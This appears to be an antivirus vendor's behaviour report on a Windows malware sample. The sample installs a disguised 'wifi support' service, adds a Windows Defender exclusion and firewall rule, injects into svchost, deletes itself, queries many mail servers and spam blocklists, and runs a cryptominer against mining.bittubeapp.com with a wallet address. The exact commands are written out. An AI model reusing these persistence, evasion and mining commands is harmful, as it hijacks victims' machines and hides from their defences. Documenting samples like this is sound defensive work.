Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\nyrqbtfc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\nyrqbtfc] 'ImagePath' = '%WINDIR%\SysWOW64\nyrqbtfc\ofnlvqxl.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\nyrqbtfc] 'ImagePath' = '%WINDIR%\SysWOW64\nyrqbtfc\ofnlvqxl.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\nyrqbtfc' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\ofnlvqxl.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\ofnlvqxl.exe to %WINDIR%\syswow64\nyrqbtfc\ofnlvqxl.exe
Deletes itself.
Network activity
Connects to
- 'mx####.##il.gm0.yahoodns.net':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ho##ail.de
- DNS ASK ma##t.it
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK ya##o.co.in
- DNS ASK mx.###.###.cust.b.hostedemail.com
- DNS ASK be#.net
- DNS ASK aw########t.com.1.0001.arsmtp.com
- DNS ASK aw###nsport.com
- DNS ASK nu##ro.com
- DNS ASK sm###in.iol.it
- DNS ASK io#.it
- DNS ASK hq#####e09.nvidia.com
- DNS ASK nv##ia.com
- DNS ASK zl##.com
- DNS ASK sm####n.virgilio.it
- DNS ASK vi##ilio.it
- DNS ASK my###ily.com
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ya##o.it
- DNS ASK mx.##ra.co.nz
- DNS ASK xt##.co.nz
- DNS ASK mb####.mynet.com
- DNS ASK my##t.com
- DNS ASK mx######64701.pphosted.com
- DNS ASK us#.edu
- DNS ASK ma##.#####il.primediabusiness.com
- DNS ASK pr#####abusiness.com
- DNS ASK sm##.iki.com
- DNS ASK ik#.com
- DNS ASK oe#.org
- DNS ASK na##r.com
- DNS ASK ve##zon.net
- DNS ASK mx#.#aver.com
- DNS ASK ma###.intility.com
- DNS ASK ap##ek.no
- DNS ASK ma##.###efoodlovedrink.com
- DNS ASK lo#####dlovedrink.com
- DNS ASK in##.rambler.ru
- DNS ASK ra##ler.ru
- DNS ASK sj####tsdir.dep.no
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK fi###adpune.com
- DNS ASK mx.####o.locaweb.com.br
- DNS ASK gl##o.com
- DNS ASK mx.####.##t.cust.b.hostedemail.com
- DNS ASK bn##.net
- DNS ASK mx####.#egamailservers.com
- DNS ASK sa##tel.net
- DNS ASK by##ab.com
- DNS ASK ti##ali.it
- DNS ASK my##c.com
- DNS ASK d6#####.##s.barracudanetworks.com
- DNS ASK ru#####dduckworth.com
- DNS ASK 94##3.com
- DNS ASK aspmx.l.google.com
- DNS ASK em###.vccs.edu
- DNS ASK mx#.##rthlink.net
- DNS ASK ea###link.net
- DNS ASK sm##.tin.it
- DNS ASK ti#.it
- DNS ASK mx##.#ail.magic.fr
- DNS ASK ho###ssa.com
- DNS ASK fa###lub.com
- DNS ASK mx##.#leaner.hxs.at
- DNS ASK ch###mbo.com
- DNS ASK vi###ftland.com
- DNS ASK li###surf.com
- DNS ASK ma###erc.com
- DNS ASK ma##.#upereva.it
- DNS ASK fr##mail.it
- DNS ASK in###l.zdf.de
- DNS ASK zd#.de
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ya##o.com
- DNS ASK sm####n.libero.it
- DNS ASK li##ro.it
- DNS ASK mx####.#egamailservers.eu
- DNS ASK uw##ub.net
- DNS ASK EM####01.saic.com
- DNS ASK sc##or.com
- DNS ASK mx#.mail.ru
- DNS ASK bk.ru
- DNS ASK mx###02.web.de
- DNS ASK we#.de
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ho##ail.fr
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK mi####.bittubeapp.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ma##.##f1.lightsurf.net
- DNS ASK ti###linet.it
- DNS ASK google.com
- DNS ASK et###.#ail.tiscali.it
- DNS ASK na##ig.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK ae.#bm.com
- DNS ASK vi##asa.com
- DNS ASK as#.##flexion.net
- DNS ASK hi###outh.com
- DNS ASK mx#.##il.ovh.net
- DNS ASK bo####uxunitec.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK ms#.#inet.net
- DNS ASK ma##.##gianipistoni.it
- DNS ASK vi####ipistoni.it
- DNS ASK mx#.#etlife.com
- DNS ASK me##ife.com
- DNS ASK he##et.nl
- DNS ASK mx#.##ailsrvr.com
- DNS ASK st##car.com
- DNS ASK ma####.kpnmail.nl
- DNS ASK wx#.nl
- DNS ASK mx#######401.gslb.pphosted.com
- DNS ASK hs.#tc.com
- DNS ASK mx##.##ndenserver.de
- DNS ASK mi###el-best.de
- DNS ASK mx##.#mig.gmx.net
- DNS ASK gm#.de
- DNS ASK sm##.renault.fr
- DNS ASK da###group.com
- DNS ASK vi###mily.com
- DNS ASK mx####.##il.gm0.yahoodns.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\nyrqbtfc\ofnlvqxl.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nyrqbtfc\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ofnlvqxl.exe" %WINDIR%\SysWOW64\nyrqbtfc\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create nyrqbtfc binPath= "%WINDIR%\SysWOW64\nyrqbtfc\ofnlvqxl.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description nyrqbtfc "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start nyrqbtfc' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nyrqbtfc\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ofnlvqxl.exe" %WINDIR%\SysWOW64\nyrqbtfc\
- '%WINDIR%\syswow64\sc.exe' create nyrqbtfc binPath= "%WINDIR%\SysWOW64\nyrqbtfc\ofnlvqxl.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description nyrqbtfc "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start nyrqbtfc
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k
